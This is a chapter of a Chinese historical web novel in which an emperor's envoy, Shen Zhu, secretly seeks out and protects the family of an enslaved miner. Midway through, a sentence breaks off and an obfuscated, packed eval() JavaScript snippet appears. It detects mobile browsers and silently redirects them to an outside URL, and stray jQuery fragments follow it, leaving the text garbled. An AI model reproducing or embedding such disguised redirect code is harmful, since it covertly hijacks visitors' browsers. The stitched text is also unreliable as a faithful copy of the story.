京城,乾清宫。
影巫的密奏快马加鞭,在第二天的深夜送至了郑遂的案头。
看罢信中所述沧澜郡豪绅的累累罪行,尤其是对工人的剥削,郑遂脸色瞬间变得极其难看起来。
他猛地一拍御案,震得桌上烛火摇曳。
“岂有此理!视人命如草芥,视国法如无物!此等蠹虫,不除不足以平民愤,不除不足以正国纲!”
侍立一旁的沈渚连忙躬身:“陛下息怒!沧澜郡之事,确需雷霆手段。影巫大人和王大人所请,乃釜底抽薪之策。唯有确保工人亲属安全,方能令其无后顾之忧,挺身作证。”
郑遂深吸一口气,强压下怒火,转头看向沈渚。
“此事关系重大,需绝对可靠之人去办。朕命你即刻挑选一队精干心腹,持朕手谕,秘密前往影巫信中提及的几处工人籍贯所在地。首要任务,是找到并暗中保护那些核心工人的家属,尤其是那个名叫石大勇的工头一家!”
“臣领旨!”沈渚肃然应道,即刻便要转身,又忽然被郑遂叫住。
“记住。”郑遂敲了敲桌案。
“找到人后,先取得信任,**利害,再将他们转移至安全之地妥善安置。若遇当地豪绅爪牙阻拦…朕许你临机决断,必要时,可先斩后奏!”
沈渚心中不免一惊。
先斩后奏?看来郑遂这是真动杀心了!
“臣明白!定不负陛下重托!”沈渚缓过神,即刻重重一拜,转身快步离去。
当夜,沈渚便带着四名禁军中好手,换上便服,趁着夜色悄然出京。
快马加鞭,直奔沧澜郡邻省,一个名为石家坳的偏僻山村而去。
一行人日夜兼程,便是人困马乏也不敢有丝毫耽搁。
三日后,他们终于抵达了石家坳附近。
为免引人注目,沈渚命手下在镇外树林中隐蔽歇息,自己则扮作普通庄稼汉,独自进村打听。
石家坳地处山区,土地贫瘠,村民大多贫困。
年轻力壮的那些,能逃的几乎早就逃了出去,只留下一些实在年老体弱,和岁数太小的孩童,守在老家等着家里闯荡的汉子寄钱回来。
他此次来找的那个叫做石大勇的家座位于村尾,沈渚很容易便找到了。
沈渚并未急着进门,而是先向几个在村口晒太阳的老人旁敲侧击地打听了石家的情况。
“老丈,请问石大勇家是住这儿吗?我是他一起在外做活的工友,路过此地,受他所托,来看看家里。”
沈渚脸上堆起憨厚的笑容,递上几文钱买来的粗饼。
老人们见有外人问起石家,本心生警惕,但又听说是石大勇的工友,当下安心了许多。
一个豁牙老汉叹口气道:“是啊,就是村尾那家。大勇这孩子,出去做工好些年了,难得回来一趟。家里就剩他老娘和媳妇,带着个半大的娃,日子过得紧巴啊。”
“哦?大勇兄弟在外挺挂念家里的,常跟我们念叨。我这次也是恰好路过,替他回家看看。他说,有日子没往家捎信了。”沈渚顺势说道。
“那确实是挺久没听说了。”老翁摇摇头。
“他在外做工也不容易,哪能月月写信?隔两三个月能有一封就不错了。都是托人捎回来的,信里就说活儿忙,一切都好,让家里别惦记。不过话说回来了,他这些年在外头这么忙,倒也没见他带了多少钱回来。家里也是勉强够糊口的,根本攒不下来。也不知道这大勇在外头到底在做啥。”
沈渚心下顿时了然。
看样子,这与影巫掌握的“赵家控制通信、克扣工钱”的情况完全吻合。
而且做的也算是滴水不漏。
明明是他们把人扣了下来,可实际上见了,却都以为是石大勇本人在外头做了什么见不得人的事,所以才不回家,很少来信,也没赚到几个钱。
沈渚趁着他们还愿意说,又闲聊了几句,旁敲侧击的打听。
确认石家目前只有老母、妻子和一名约七八岁的儿子在家,并无异常人员出入,这才道谢离开。
回到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730988|182640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落脚点,沈渚与立刻手下商议起来。
为确保万无一失,他决定趁夜色行动。
是夜,月黑风高。
沈渚带着两名手下,悄无声息地潜至石家茅屋外。
石家人过的穷困潦倒,处处节俭,屋内也仅有一盏昏暗的油灯,刚来到门开,便隐约听见里面传来了老妇的咳嗽声和妇人的低声啜泣。
沈渚轻轻叩响了破旧的木门。
屋内哭声戛然而止,紧接着便传来了妇人警惕的声音。
“谁…谁啊?”
“嫂子,是我,大勇的工友,姓沈。受大勇所托,来看看家里。”沈渚压低声音说道。
屋内沉默片刻,似乎是在犹豫。
良久,木门才吱呀一声开了一条缝,一个面色憔悴的年轻妇人探出头来,正是石大勇的妻子石王氏。
她身后,一位白发苍苍的老妪也到了门口,正紧紧搂着一个瘦小的男孩,紧张地望着门外。
沈渚视线迅速扫视屋内,只见这屋里用家徒四壁来形容绝不为过。
几乎穷的叮当响,只有几张破旧的桌椅,但空气中还弥漫着淡淡的草药味。
想来是家里为数不多的钱财也都用去给老太太抓药了。
“嫂子,大娘,别怕。”沈渚迈进一步,顺手将门掩上。
“时间紧迫,我长话短说。我并非普通工友,而是京城来的官差。”
石王氏和石母闻言,脸色骤变,下意识地后退,男孩更是吓得往祖母怀里缩。
沈渚连忙摆手,压低声音:“别慌!我是来救你们的!大勇兄弟在沧澜郡的矿上,并非如信中所说一切安好!他被赵家等豪绅囚禁在矿场,如同奴隶,工钱被克扣,动辄被打骂,性命堪忧!”
“什么?!”石母猛地站起身,身形晃了晃,险些晕倒,被石王氏赶紧扶住。
老妇人惊讶一阵,瞬间泪如雨下,捶胸顿足。
“我儿…我苦命的儿啊!我就知道…就知道没那么简单!那信上的字,都不像他写的…”